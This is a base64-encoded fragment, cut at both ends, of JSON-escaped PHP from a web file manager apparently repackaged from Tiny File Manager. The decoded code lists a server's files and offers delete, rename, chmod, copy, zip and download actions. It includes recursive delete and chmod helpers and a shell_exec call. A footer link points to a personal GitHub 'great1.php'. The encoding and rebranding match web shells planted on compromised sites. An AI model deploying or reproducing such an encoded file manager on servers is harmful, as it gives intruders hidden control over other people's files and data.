WYgPz48XC90ZD5cclxuPD9waHAgaWYgKCFGTV9JU19XSU4pOiA/PlxyXG48dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+PFwvdGQ+XHJcbjx0ZD48P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz48XC90ZD5cclxuPD9waHAgZW5kaWY7ID8+XHJcbjx0ZCBjbGFzcz1cImlubGluZS1hY3Rpb25zXCI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XHJcbjxhIHRpdGxlPVwiRGVsZXRlXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdEZWxldGUgZm9sZGVyPycpO1wiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2gtb1wiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+PFwvYT5cclxuPGEgdGl0bGU9XCJSZW5hbWVcIiBocmVmPVwiI1wiIG9uY2xpY2s9XCJyZW5hbWUoJzw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+JywgJzw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PicpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+PFwvYT5cclxuPGEgdGl0bGU9XCJDb3B5IHRvLi4uXCIgaHJlZj1cIj9wPSZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnXC8nIC4gJGYsICdcLycpKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtZmlsZXMtb1wiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+PFwvYT5cclxuPD9waHAgZW5kaWY7ID8+XHJcbjxhIHRpdGxlPVwiRGlyZWN0IGxpbmtcIiBocmVmPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmIC4gJ1wvJykgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPjxcL2E+XHJcbjxcL3RkPjxcL3RyPlxyXG4gICAgPD9waHBcclxuICAgIGZsdXNoKCk7XHJcbn1cclxuXHJcbmZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xyXG4gICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJ1wvJyAuICRmKTtcclxuICAgICRpbWcgPSAkaXNfbGluayA/ICdmYSBmYS1maWxlLXRleHQtbycgOiBmbV9nZXRfZmlsZV9pY29uX2NsYXNzKCRwYXRoIC4gJ1wvJyAuICRmKTtcclxuICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJHBhdGggLiAnXC8nIC4gJGYpKTtcclxuICAgICRmaWxlc2l6ZV9yYXcgPSBmaWxlc2l6ZSgkcGF0aCAuICdcLycgLiAkZik7XHJcbiAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7XHJcbiAgICAkZmlsZWxpbmsgPSAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSAuICcmYW1wO3ZpZXc9JyAuIHVybGVuY29kZSgkZik7XHJcbiAgICAkYWxsX2ZpbGVzX3NpemUgKz0gJGZpbGVzaXplX3JhdztcclxuICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcclxuICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7XHJcbiAgICAgICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRwYXRoIC4gJ1wvJyAuICRmKSk7XHJcbiAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRwYXRoIC4gJ1wvJyAuICRmKSk7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xyXG4gICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpO1xyXG4gICAgfVxyXG4gICAgPz5cclxuPHRyPlxyXG48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj48XC9sYWJlbD48XC90ZD48P3BocCBlbmRpZjsgPz5cclxuPHRkPjxkaXYgY2xhc3M9XCJmaWxlbmFtZVwiPjxhIGhyZWY9XCI8P3BocCBlY2hvICRmaWxlbGluayA/PlwiIHRpdGxlPVwiRmlsZSBpbmZvXCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKCRmKSA/PjxcL2E+PD9waHAgZWNobyAoJGlzX2xpbmsgPyAnICZyYXJyOyA8aT4nIC4gcmVhZGxpbmsoJHBhdGggLiAnXC8nIC4gJGYpIC4gJzxcL2k+JyA6ICcnKSA/PjxcL2Rpdj48XC90ZD5cclxuPHRkPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+PD9waHAgZWNobyAkZmlsZXNpemUgPz48XC9zcGFuPjxcL3RkPlxyXG48dGQ+PD9waHAgZWNobyAkbW9kaWYgPz48XC90ZD5cclxuPD9waHAgaWYgKCFGTV9JU19XSU4pOiA/PlxyXG48dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCI8P3BocCBlY2hvICdDaGFuZ2UgUGVybWlzc2lvbnMnID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjaG1vZD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz5cIj48P3BocCBlY2hvICRwZXJtcyA/PjxcL2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PjxcL3RkPlxyXG48dGQ+PD9waHAgZWNobyBmbV9lbmMoJG93bmVyWyduYW1lJ10gLiAnOicgLiAkZ3JvdXBbJ25hbWUnXSkgPz48XC90ZD5cclxuPD9waHAgZW5kaWY7ID8+XHJcbjx0ZCBjbGFzcz1cImlubGluZS1hY3Rpb25zXCI+XHJcbjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxyXG48YSB0aXRsZT1cIkRlbGV0ZVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGZpbGU/Jyk7XCI+PGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxyXG48YSB0aXRsZT1cIlJlbmFtZVwiIGhyZWY9XCIjXCIgb25jbGljaz1cInJlbmFtZSgnPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4nLCAnPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Jyk7cmV0dXJuIGZhbHNlO1wiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZS1vXCI+PFwvaT48XC9hPlxyXG48YSB0aXRsZT1cIkNvcHkgdG8uLi5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XHJcbjw/cGhwIGVuZGlmOyA/PlxyXG48YSB0aXRsZT1cIkRpcmVjdCBsaW5rXCIgaHJlZj1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnXC8nIC4gRk1fUEFUSCA6ICcnKSAuICdcLycgLiAkZikgPz5cIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWxpbmtcIj48XC9pPjxcL2E+XHJcbjxhIHRpdGxlPVwiRG93bmxvYWRcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtZG93bmxvYWRcIj48XC9pPjxcL2E+XHJcbjxcL3RkPjxcL3RyPlxyXG4gICAgPD9waHBcclxuICAgIGZsdXNoKCk7XHJcbn1cclxuXHJcbmlmIChlbXB0eSgkZm9sZGVycykgJiYgZW1wdHkoJGZpbGVzKSkge1xyXG4gICAgPz5cclxuPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/Pjx0ZD48XC90ZD48P3BocCBlbmRpZjsgPz48dGQgY29sc3Bhbj1cIjw/cGhwIGVjaG8gIUZNX0lTX1dJTiA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvICdGb2xkZXIgaXMgZW1wdHknID8+PFwvZW0+PFwvdGQ+PFwvdHI+XHJcbjw/cGhwXHJcbn0gZWxzZSB7XHJcbiAgICA/PlxyXG48dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PHRkIGNsYXNzPVwiZ3JheVwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/Pjx0ZCBjbGFzcz1cImdyYXlcIiBjb2xzcGFuPVwiPD9waHAgZWNobyAhRk1fSVNfV0lOID8gJzYnIDogJzQnID8+XCI+XHJcbkZ1bGwgc2l6ZTogPHNwYW4gdGl0bGU9XCI8P3BocCBwcmludGYoJyVzIGJ5dGVzJywgJGFsbF9maWxlc19zaXplKSA/PlwiPjw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCRhbGxfZmlsZXNfc2l6ZSkgPz48XC9zcGFuPixcclxuZmlsZXM6IDw/cGhwIGVjaG8gJG51bV9maWxlcyA/PixcclxuZm9sZGVyczogPD9waHAgZWNobyAkbnVtX2ZvbGRlcnMgPz5cclxuPFwvdGQ+PFwvdHI+XHJcbjw/cGhwXHJcbn1cclxuPz5cclxuPFwvdGFibGU+XHJcbjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxyXG48cCBjbGFzcz1cInBhdGggZm9vdGVyLWxpbmtzXCI+PGEgaHJlZj1cIiNcL3NlbGVjdC1hbGxcIiBjbGFzcz1cImdyb3VwLWJ0blwiIG9uY2xpY2s9XCJzZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlO1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stc3F1YXJlXCI+PFwvaT4gU2VsZWN0IGFsbDxcL2E+ICZuYnNwO1xyXG48YSBocmVmPVwiI1wvdW5zZWxlY3QtYWxsXCIgY2xhc3M9XCJncm91cC1idG5cIiBvbmNsaWNrPVwidW5zZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlO1wiPjxpIGNsYXNzPVwiZmEgZmEtd2luZG93LWNsb3NlXCI+PFwvaT4gVW5zZWxlY3QgYWxsPFwvYT4gJm5ic3A7XHJcbjxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJncm91cC1idG5cIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiBJbnZlcnQgc2VsZWN0aW9uPFwvYT4gJm5ic3A7XHJcbjxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiZGVsZXRlXCIgaWQ9XCJhLWRlbGV0ZVwiIHZhbHVlPVwiRGVsZXRlXCIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JylcIj5cclxuPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImdyb3VwLWJ0blwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGUgPFwvYT4gJm5ic3A7XHJcbjxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiemlwXCIgaWQ9XCJhLXppcFwiIHZhbHVlPVwiWmlwXCIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdDcmVhdGUgYXJjaGl2ZT8nKVwiPlxyXG48YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiZ3JvdXAtYnRuXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IFppcCA8XC9hPiAmbmJzcDtcclxuPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJjb3B5XCIgaWQ9XCJhLWNvcHlcIiB2YWx1ZT1cIkNvcHlcIj5cclxuPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtY29weScpLmNsaWNrKCk7XCIgY2xhc3M9XCJncm91cC1idG5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPiBDb3B5IDxcL2E+XHJcbjxhIGhyZWY9XCJodHRwczpcL1wvcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbVwvZGFuaWVseXp4MTIzXC9ncmVhdFwvcmVmc1wvaGVhZHNcL21haW5cL2dyZWF0MS5waHBcIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCIgc3R5bGU9XCJjb2xvcjpzaWx2ZXJcIj5IM0sgfCBUaW55IEZpbGUgTWFuYWdlcjxcL2E+PFwvcD5cclxuPD9waHAgZW5kaWY7ID8+XHJcbjxcL2Zvcm0+XHJcblxyXG48P3BocFxyXG5mbV9zaG93X2Zvb3RlcigpO1xyXG5cclxuXC9cLy0tLSBFTkRcclxuXHJcblwvXC8gRnVuY3Rpb25zXHJcblxyXG5cLyoqXHJcbiAqIERlbGV0ZSAgZmlsZSBvciBmb2xkZXIgKHJlY3Vyc2l2ZWx5KVxyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXHJcbiAqIEByZXR1cm4gYm9vbFxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX3JkZWxldGUoJHBhdGgpXHJcbntcclxuICAgIGlmIChpc19saW5rKCRwYXRoKSkge1xyXG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xyXG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcclxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xyXG4gICAgICAgICRvayA9IHRydWU7XHJcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xyXG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xyXG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAkb2sgPSBmYWxzZTtcclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XHJcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcclxuICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTtcclxuICAgIH1cclxuICAgIHJldHVybiBmYWxzZTtcclxufVxyXG5cclxuXC8qKlxyXG4gKiBSZWN1cnNpdmUgY2htb2RcclxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxyXG4gKiBAcGFyYW0gaW50ICRmaWxlbW9kZVxyXG4gKiBAcGFyYW0gaW50ICRkaXJtb2RlXHJcbiAqIEByZXR1cm4gYm9vbFxyXG4gKiBAdG9kbyBXaWxsIHVzZSBpbiBtYXNzIGNobW9kXHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxyXG57XHJcbiAgICBpZiAoaXNfZGlyKCRwYXRoKSkge1xyXG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XHJcbiAgICAgICAgfVxyXG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XHJcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xyXG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xyXG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY2htb2QoJHBhdGggLiAnXC8nIC4gJGZpbGUsICRmaWxlbW9kZSwgJGRpcm1vZGUpKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuIHRydWU7XHJcbiAgICB9IGVsc2VpZiAoaXNfbGluaygkcGF0aCkpIHtcclxuICAgICAgICByZXR1cm4gdHJ1ZTtcclxuICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkge1xyXG4gICAgICAgIHJldHVybiBjaG1vZCgkcGF0aCwgJGZpbGVtb2RlKTtcclxuICAgIH1cclxuICAgIHJldHVybiBmYWxzZTtcclxufVxyXG5cclxuXC8qKlxyXG4gKiBTYWZlbHkgcmVuYW1lXHJcbiAqIEBwYXJhbSBzdHJpbmcgJG9sZFxyXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcclxuICogQHJldHVybiBib29sfG51bGxcclxuICpcL1xyXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcclxue1xyXG4gICAgcmV0dXJuICghZmlsZV9leGlzdHMoJG5ldykgJiYgZmlsZV9leGlzdHMoJG9sZCkpID8gcmVuYW1lKCRvbGQsICRuZXcpIDogbnVsbDtcclxufVxyXG5cclxuXC8qKlxyXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXHJcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcclxuICogQHBhcmFtIHN0cmluZyAkZGVzdFxyXG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xyXG4gKiBAcGFyYW0gYm9vbCAkZm9yY2UgQ3JlYXRlIGZvbGRlciB3aXRoIHNhbWUgbmFtZXMgaW5zdGVhZCBmaWxlXHJcbiAqIEByZXR1cm4gYm9vbFxyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX3Jjb3B5KCRwYXRoLCAkZGVzdCwgJHVwZCA9IHRydWUsICRmb3JjZSA9IHRydWUpXHJcbntcclxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XHJcbiAgICAgICAgaWYgKCFmbV9ta2RpcigkZGVzdCwgJGZvcmNlKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XHJcbiAgICAgICAgfVxyXG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XHJcbiAgICAgICAgJG9rID0gdHJ1ZTtcclxuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XHJcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XHJcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcclxuICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZGVzdCAuICdcLycgLiAkZmlsZSkpIHtcclxuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XHJcbiAgICAgICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHJldHVybiAkb2s7XHJcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcclxuICAgICAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xyXG4gICAgfVxyXG4gICAgcmV0dXJuIGZhbHNlO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXHJcbiAqIEBwYXJhbSBzdHJpbmcgJGRpclxyXG4gKiBAcGFyYW0gYm9vbCAkZm9yY2VcclxuICogQHJldHVybiBib29sXHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fbWtkaXIoJGRpciwgJGZvcmNlKVxyXG57XHJcbiAgICBpZiAoZmlsZV9leGlzdHMoJGRpcikpIHtcclxuICAgICAgICBpZiAoaXNfZGlyKCRkaXIpKSB7XHJcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xyXG4gICAgICAgIH0gZWxzZWlmICghJGZvcmNlKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgdW5saW5rKCRkaXIpO1xyXG4gICAgfVxyXG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIFNhZmVseSBjb3B5IGZpbGVcclxuICogQHBhcmFtIHN0cmluZyAkZjFcclxuICogQHBhcmFtIHN0cmluZyAkZjJcclxuICogQHBhcmFtIGJvb2wgJHVwZFxyXG4gKiBAcmV0dXJuIGJvb2xcclxuICpcL1xyXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxyXG57XHJcbiAgICAkdGltZTEgPSBmaWxlbXRpbWUoJGYxKTtcclxuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XHJcbiAgICAgICAgJHRpbWUyID0gZmlsZW10aW1lKCRmMik7XHJcbiAgICAgICAgaWYgKCR0aW1lMiA+PSAkdGltZTEgJiYgJHVwZCkge1xyXG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XHJcbiAgICBpZiAoJG9rKSB7XHJcbiAgICAgICAgdG91Y2goJGYyLCAkdGltZTEpO1xyXG4gICAgfVxyXG4gICAgcmV0dXJuICRvaztcclxufVxyXG5cclxuXC8qKlxyXG4gKiBHZXQgbWltZSB0eXBlXHJcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxyXG4gKiBAcmV0dXJuIG1peGVkfHN0cmluZ1xyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcclxue1xyXG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZmluZm9fb3BlbicpKSB7XHJcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xyXG4gICAgICAgICRtaW1lID0gZmluZm9fZmlsZSgkZmluZm8sICRmaWxlX3BhdGgpO1xyXG4gICAgICAgIGZpbmZvX2Nsb3NlKCRmaW5mbyk7XHJcbiAgICAgICAgcmV0dXJuICRtaW1lO1xyXG4gICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWltZV9jb250ZW50X3R5cGUnKSkge1xyXG4gICAgICAgIHJldHVybiBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZV9wYXRoKTtcclxuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XHJcbiAgICAgICAgJGZpbGUgPSBlc2NhcGVzaGVsbGFyZygkZmlsZV9wYXRoKTtcclxuICAgICAgICAkbWltZSA9IHNoZWxsX2V4ZWMoJ2ZpbGUgLWJpICcgLiAkZmlsZSk7XHJcbiAgICAgICAgcmV0dXJuICRtaW1lO1xyXG4gICAgfSBlbHNlIHtcclxuICAgICAgICByZXR1cm4gJy0tJztcclxuICAgIH1cclxufVxyXG5cclxuXC8qKlxyXG4gKiBIVFRQIFJlZGlyZWN0XHJcbiAqIEBwYXJhbSBzdHJpbmcgJHVybFxyXG4gKiBAcGFyYW0gaW50ICRjb2RlXHJcbiAqXC9cclxuZnVuY3Rpb24gZm1fcmVkaXJlY3QoJHVybCwgJGNvZGUgPSAzMDIpXHJcbntcclxuICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsLCB0cnVlLCAkY29kZSk7XHJcbiAgICBleGl0O1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIENsZWFuIHBhdGhcclxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxyXG4gKiBAcmV0dXJuIHN0cmluZ1xyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2NsZWFuX3BhdGgoJHBhdGgpXHJcbntcclxuICAgICRwYXRoID0gdHJpbSgkcGF0aCk7XHJcbiAgICAkcGF0aCA9IHRyaW0oJHBhdGgsICdcXFxcXC8nKTtcclxuICAgICRwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy4uXC8nLCAnLi5cXFxcJyksICcnLCAkcGF0aCk7XHJcbiAgICBpZiAoJHBhdGggPT0gJy4uJykge1xyXG4gICAgICAgICRwYXRoID0gJyc7XHJcbiAgICB9XHJcbiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcGF0aCk7XHJcbn1cclxuXHJcblwvKipcclxuICogR2V0IHBhcmVudCBwYXRoXHJcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcclxuICogQHJldHVybiBib29sfHN0cmluZ1xyXG4gKlwvXHJcbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcclxue1xyXG4gICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTtcclxuICAgIGlmICgkcGF0aCAhPSAnJykge1xyXG4gICAgICAgICRhcnJheSA9IGV4cGxvZGUoJ1wvJywgJHBhdGgpO1xyXG4gICAgICAgIGlmIChjb3VudCgkYXJyYXkpID4gMSkge1xyXG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcclxuICAgICAgICAgICAgcmV0dXJuIGltcGxvZGUoJ1wvJywgJGFycmF5KTtcclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuICcnO1xyXG4gICAgfVxyXG4gICAgcmV0dXJuIGZhbHNlO1xyXG59XHJcblxyXG5cLyoqXHJcbiAqIEdldCBuaWNlIGZpbGVzaXplXHJcbiAqIEBwYXJhbSBpbnQgJHNpemVcclxuICogQHJldHVybiBzdHJpbmdcclxuICpcL1xyXG5mdW5jdGlvbiBmbV9nZXRfZmlsZXNpemUoJHNpemUpXHJcbntcclxuICAgIGlmICgkc2l6ZSA8IDEwMDApIHtcclxuICAgICAgICByZXR1cm4gc3ByaW50ZignJXMgQicsICRzaXplKTtcclxuICAgIH0gZWxzZWlmICgoJHNpemUgXC8gMTAyNCkgPCAxMDAwKSB